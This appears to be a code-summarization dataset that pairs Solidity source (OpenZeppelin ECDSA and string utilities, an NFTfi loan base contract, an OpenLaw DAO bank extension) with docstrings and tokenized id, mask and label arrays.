* NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus
* change through time. It could return true at block N and false at block N+1 (or the opposite).
*/
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) internal view returns (bool) {
(address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);
if (error == ECDSA.RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(
abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)
);
return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* _Available since v4.1._
*/
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
|
* @title BaseLoan @author NFTfi @dev Implements base functionalities common to all Loan types. Mostly related to governance and security./
|
abstract contract BaseLoan is Ownable, Pausable, ReentrancyGuard {
constructor(address _admin) Ownable(_admin) {
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
}
| 1,474,562 |
[
1,
2171,
1504,
304,
225,
423,
4464,
22056,
225,
29704,
1026,
18699,
1961,
2975,
358,
777,
3176,
304,
1953,
18,
22099,
715,
3746,
358,
314,
1643,
82,
1359,
471,
4373,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
3360,
1504,
304,
353,
14223,
6914,
16,
21800,
16665,
16,
868,
8230,
12514,
16709,
288,
203,
203,
203,
565,
3885,
12,
2867,
389,
3666,
13,
14223,
6914,
24899,
3666,
13,
288,
203,
565,
289,
203,
203,
203,
565,
445,
11722,
1435,
3903,
1338,
5541,
288,
203,
3639,
389,
19476,
5621,
203,
565,
289,
203,
203,
565,
445,
640,
19476,
1435,
3903,
1338,
5541,
288,
203,
3639,
389,
318,
19476,
5621,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xF75A8C232e57AB589035cB269E7268e0eb02213b/sources/sir.sol
|
@dev returns maximum amount of tokens that can be transferred from wallet to wallet
|
function getMaxTransactionAmount() public view returns (uint256) {
return Total.current.mul(Max.transactionPercent).div(10**4);
}
| 1,893,779 |
[
1,
6154,
4207,
3844,
434,
2430,
716,
848,
506,
906,
4193,
628,
9230,
358,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7288,
3342,
6275,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
10710,
18,
2972,
18,
16411,
12,
2747,
18,
7958,
8410,
2934,
2892,
12,
2163,
636,
24,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "../core/DaoConstants.sol";
import "../core/DaoRegistry.sol";
import "./IExtension.sol";
import "../guards/AdapterGuard.sol";
import "../utils/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../helpers/SafeERC20.sol";
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
contract BankExtension is DaoConstants, AdapterGuard, IExtension {
using Address for address payable;
using SafeERC20 for IERC20;
uint8 public maxExternalTokens; // the maximum number of external tokens that can be stored in the bank
bool public initialized = false; // internally tracks deployment under eip-1167 proxy pattern
DaoRegistry public dao;
enum AclFlag {
ADD_TO_BALANCE,
SUB_FROM_BALANCE,
INTERNAL_TRANSFER,
WITHDRAW,
EXECUTE,
REGISTER_NEW_TOKEN,
REGISTER_NEW_INTERNAL_TOKEN
}
/// @dev - Events for Bank
event NewBalance(address member, address tokenAddr, uint160 amount);
event Withdraw(address account, address tokenAddr, uint160 amount);
/*
* STRUCTURES
*/
struct Checkpoint {
// A checkpoint for marking number of votes from a given block
uint96 fromBlock;
uint160 amount;
}
address[] public tokens;
address[] public internalTokens;
// tokenAddress => availability
mapping(address => bool) public availableTokens;
mapping(address => bool) public availableInternalTokens;
// tokenAddress => memberAddress => checkpointNum => Checkpoint
mapping(address => mapping(address => mapping(uint32 => Checkpoint)))
public checkpoints;
// tokenAddress => memberAddress => numCheckpoints
mapping(address => mapping(address => uint32)) public numCheckpoints;
/// @notice Clonable contract must have an empty constructor
// constructor() {
// }
modifier hasExtensionAccess(IExtension extension, AclFlag flag) {
require(
dao.state() == DaoRegistry.DaoState.CREATION ||
dao.hasAdapterAccessToExtension(
msg.sender,
address(extension),
uint8(flag)
),
"bank::accessDenied"
);
_;
}
/**
* @notice Initialises the DAO
* @dev Involves initialising available tokens, checkpoints, and membership of creator
* @dev Can only be called once
* @param creator The DAO's creator, who will be an initial member
*/
function initialize(DaoRegistry _dao, address creator) external override {
require(!initialized, "bank already initialized");
require(_dao.isActiveMember(creator), "bank::not active member");
availableInternalTokens[SHARES] = true;
internalTokens.push(SHARES);
_createNewAmountCheckpoint(creator, SHARES, 1);
_createNewAmountCheckpoint(TOTAL, SHARES, 1);
initialized = true;
dao = _dao;
}
function withdraw(
address payable member,
address tokenAddr,
uint256 amount
) external hasExtensionAccess(this, AclFlag.WITHDRAW) {
require(
balanceOf(member, tokenAddr) >= amount,
"bank::withdraw::not enough funds"
);
subtractFromBalance(member, tokenAddr, amount);
if (tokenAddr == ETH_TOKEN) {
member.sendValue(amount);
} else {
IERC20 erc20 = IERC20(tokenAddr);
erc20.safeTransfer(member, amount);
}
emit Withdraw(member, tokenAddr, uint160(amount));
}
/**
* @return Whether or not the given token is an available internal token in the bank
* @param token The address of the token to look up
*/
function isInternalToken(address token) external view returns (bool) {
return availableInternalTokens[token];
}
/**
* @return Whether or not the given token is an available token in the bank
* @param token The address of the token to look up
*/
function isTokenAllowed(address token) public view returns (bool) {
return availableTokens[token];
}
/**
* @notice Sets the maximum amount of external tokens allowed in the bank
* @param maxTokens The maximum amount of token allowed
*/
function setMaxExternalTokens(uint8 maxTokens) external {
require(!initialized, "bank already initialized");
require(
maxTokens > 0 && maxTokens <= MAX_TOKENS_GUILD_BANK,
"max number of external tokens should be (0,200)"
);
maxExternalTokens = maxTokens;
}
/*
* BANK
*/
/**
* @notice Registers a potential new token in the bank
* @dev Can not be a reserved token or an available internal token
* @param token The address of the token
*/
function registerPotentialNewToken(address token)
external
hasExtensionAccess(this, AclFlag.REGISTER_NEW_TOKEN)
{
require(isNotReservedAddress(token), "reservedToken");
require(!availableInternalTokens[token], "internalToken");
require(
tokens.length <= maxExternalTokens,
"exceeds the maximum tokens allowed"
);
if (!availableTokens[token]) {
availableTokens[token] = true;
tokens.push(token);
}
}
/**
* @notice Registers a potential new internal token in the bank
* @dev Can not be a reserved token or an available token
* @param token The address of the token
*/
function registerPotentialNewInternalToken(address token)
external
hasExtensionAccess(this, AclFlag.REGISTER_NEW_INTERNAL_TOKEN)
{
require(isNotReservedAddress(token), "reservedToken");
require(!availableTokens[token], "availableToken");
if (!availableInternalTokens[token]) {
availableInternalTokens[token] = true;
internalTokens.push(token);
}
}
function updateToken(address tokenAddr) external {
require(isTokenAllowed(tokenAddr), "token not allowed");
uint256 totalBalance = balanceOf(TOTAL, tokenAddr);
uint256 realBalance;
if (tokenAddr == ETH_TOKEN) {
realBalance = address(this).balance;
} else {
IERC20 erc20 = IERC20(tokenAddr);
realBalance = erc20.balanceOf(address(this));
}
if (totalBalance < realBalance) {
addToBalance(GUILD, tokenAddr, realBalance - totalBalance);
} else if (totalBalance > realBalance) {
uint256 tokensToRemove = totalBalance - realBalance;
uint256 guildBalance = balanceOf(GUILD, tokenAddr);
if (guildBalance > tokensToRemove) {
subtractFromBalance(GUILD, tokenAddr, tokensToRemove);
} else {
subtractFromBalance(GUILD, tokenAddr, guildBalance);
}
}
}
/**
* Public read-only functions
*/
/**
* Internal bookkeeping
*/
/**
* @return The token from the bank of a given index
* @param index The index to look up in the bank's tokens
*/
function getToken(uint256 index) external view returns (address) {
return tokens[index];
}
/**
* @return The amount of token addresses in the bank
*/
function nbTokens() external view returns (uint256) {
return tokens.length;
}
/**
* @return All the tokens registered in the bank.
*/
function getTokens() external view returns (address[] memory) {
return tokens;
}
/**
* @return The internal token at a given index
* @param index The index to look up in the bank's array of internal tokens
*/
function getInternalToken(uint256 index) external view returns (address) {
return internalTokens[index];
}
/**
* @return The amount of internal token addresses in the bank
*/
function nbInternalTokens() external view returns (uint256) {
return internalTokens.length;
}
/**
* @notice Adds to a member's balance of a given token
* @param member The member whose balance will be updated
* @param token The token to update
* @param amount The new balance
*/
function addToBalance(
address member,
address token,
uint256 amount
) public payable hasExtensionAccess(this, AclFlag.ADD_TO_BALANCE) {
require(
availableTokens[token] || availableInternalTokens[token],
"unknown token address"
);
uint256 newAmount = balanceOf(member, token) + amount;
uint256 newTotalAmount = balanceOf(TOTAL, token) + amount;
_createNewAmountCheckpoint(member, token, newAmount);
_createNewAmountCheckpoint(TOTAL, token, newTotalAmount);
}
/**
* @notice Remove from a member's balance of a given token
* @param member The member whose balance will be updated
* @param token The token to update
* @param amount The new balance
*/
function subtractFromBalance(
address member,
address token,
uint256 amount
) public hasExtensionAccess(this, AclFlag.SUB_FROM_BALANCE) {
uint256 newAmount = balanceOf(member, token) - amount;
uint256 newTotalAmount = balanceOf(TOTAL, token) - amount;
_createNewAmountCheckpoint(member, token, newAmount);
_createNewAmountCheckpoint(TOTAL, token, newTotalAmount);
}
/**
* @notice Make an internal token transfer
* @param from The member who is sending tokens
* @param to The member who is receiving tokens
* @param amount The new amount to transfer
*/
function internalTransfer(
address from,
address to,
address token,
uint256 amount
) public hasExtensionAccess(this, AclFlag.INTERNAL_TRANSFER) {
uint256 newAmount = balanceOf(from, token) - amount;
uint256 newAmount2 = balanceOf(to, token) + amount;
_createNewAmountCheckpoint(from, token, newAmount);
_createNewAmountCheckpoint(to, token, newAmount2);
}
/**
* @notice Returns an member's balance of a given token
* @param member The address to look up
* @param tokenAddr The token where the member's balance of which will be returned
* @return The amount in account's tokenAddr balance
*/
function balanceOf(address member, address tokenAddr)
public
view
returns (uint160)
{
uint32 nCheckpoints = numCheckpoints[tokenAddr][member];
return
nCheckpoints > 0
? checkpoints[tokenAddr][member][nCheckpoints - 1].amount
: 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorAmount(
address account,
address tokenAddr,
uint256 blockNumber
) external view returns (uint256) {
require(
blockNumber < block.number,
"Uni::getPriorAmount: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[tokenAddr][account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (
checkpoints[tokenAddr][account][nCheckpoints - 1].fromBlock <=
blockNumber
) {
return checkpoints[tokenAddr][account][nCheckpoints - 1].amount;
}
// Next check implicit zero balance
if (checkpoints[tokenAddr][account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenAddr][account][center];
if (cp.fromBlock == blockNumber) {
return cp.amount;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[tokenAddr][account][lower].amount;
}
/**
* @notice Creates a new amount checkpoint for a token of a certain member
* @dev Reverts if the amount is greater than 2**64-1
* @param member The member whose checkpoints will be added to
* @param token The token of which the balance will be changed
* @param amount The amount to be written into the new checkpoint
*/
function _createNewAmountCheckpoint(
address member,
address token,
uint256 amount
) internal {
bool isValidToken = false;
if (availableInternalTokens[token]) {
require(
amount < type(uint88).max,
"token amount exceeds the maximum limit for internal tokens"
);
isValidToken = true;
} else if (availableTokens[token]) {
require(
amount < type(uint160).max,
"token amount exceeds the maximum limit for external tokens"
);
isValidToken = true;
}
uint160 newAmount = uint160(amount);
require(isValidToken, "token not registered");
uint32 nCheckpoints = numCheckpoints[token][member];
if (
nCheckpoints > 0 &&
checkpoints[token][member][nCheckpoints - 1].fromBlock ==
block.number
) {
checkpoints[token][member][nCheckpoints - 1].amount = newAmount;
} else {
checkpoints[token][member][nCheckpoints] = Checkpoint(
uint96(block.number),
newAmount
);
numCheckpoints[token][member] = nCheckpoints + 1;
}
emit NewBalance(member, token, newAmount);
}
}
|
* @notice Registers a potential new token in the bank @dev Can not be a reserved token or an available internal token @param token The address of the token/
|
function registerPotentialNewToken(address token)
external
hasExtensionAccess(this, AclFlag.REGISTER_NEW_TOKEN)
{
require(isNotReservedAddress(token), "reservedToken");
require(!availableInternalTokens[token], "internalToken");
require(
tokens.length <= maxExternalTokens,
"exceeds the maximum tokens allowed"
);
if (!availableTokens[token]) {
availableTokens[token] = true;
tokens.push(token);
}
}
| 1,011,083 |
[
1,
10277,
279,
8555,
394,
1147,
316,
326,
11218,
225,
4480,
486,
506,
279,
8735,
1147,
578,
392,
2319,
2713,
1147,
225,
1147,
1021,
1758,
434,
326,
1147,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
